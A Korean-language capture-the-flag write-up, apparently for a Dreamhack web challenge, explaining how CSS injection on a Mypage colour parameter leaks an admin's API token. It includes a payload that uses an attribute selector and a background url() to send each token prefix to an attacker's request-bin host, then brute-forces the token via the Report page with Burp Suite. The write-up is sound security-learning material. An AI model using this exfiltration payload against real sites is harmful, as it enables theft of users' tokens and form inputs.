
CSS의 외부 리소스를 불러오는 기능을 활용하여 공격자의 서버로 요청을 보낼 수 있음.


CSS의 외부 리소스를 불러오는 기능과 특성 선택자를 활용하여 입력 박스의 내용을 공격자의 서버로 탈취할 수 있음.


로그인이 되어 있어야 한다.

apikey가 존재하지 않으면 401 에러를 반환한다.

report 페이지에서는 post 메소드로 받은 요청일 경우 127.0.0.1:800의 경로로 실행한다.(내부서버)
이 때 Check_url을 활용하는데

check_url은 admin의 권한으로 실행한다.

api/me나 api/memo를 활용하기 위해서는 apikey가 필요하다.

admin의 메모에는 flag가 저장되어 있다.

Mypage 페이지에서 API Token을 확인할 수 있다.

Report 페이지에서 Path를 입력하고 전송할 수 있다.

사용자의 memo를 입력하고 입력된 메모를 확인할 수 있다.
Mypage에서 IP Ping Back과 CSS Attribute Selector를 활용하여 사용자의 API Token을 탈취할 수 있는 공격구문을 만든다.
완성된 공격구문을 Report 페이지에서 실행하여 ADMIN의 API Token을 탈취한다.
탈취한 API Token으로 /api/memo에 접근하여 FLAG를 확인한다.

IP Ping Back 테스트 결과

공격자의 서버로 요청이 온 것을 확인한다.


CSS 특성 선택자를 활용해서 공격자의 서버에 요청이 제대로 전달되어 있는지 확인한다.
mypage?color=red;}%20input[id=InputApitoken][value^=r]%20{background:%20url(https://plwhkpx.request.dreamhack.games/r)
-> id가 InputApitoken인 Input 태그의 Value값의 접두사가 r이면 공격자의 서버로 /r요청



이를 이제 Report페이지에서 버프스위트를 활용해서 무작위대입공격을 진행해 ADMIN의 Api Token을 확인한다.


api/memo에 접근 시 에러메세지를 확인한다.

요청헤더에 API-KEY를 생성하고 ADMIN의 API Token을 입력하여 FLAG를 획득한다.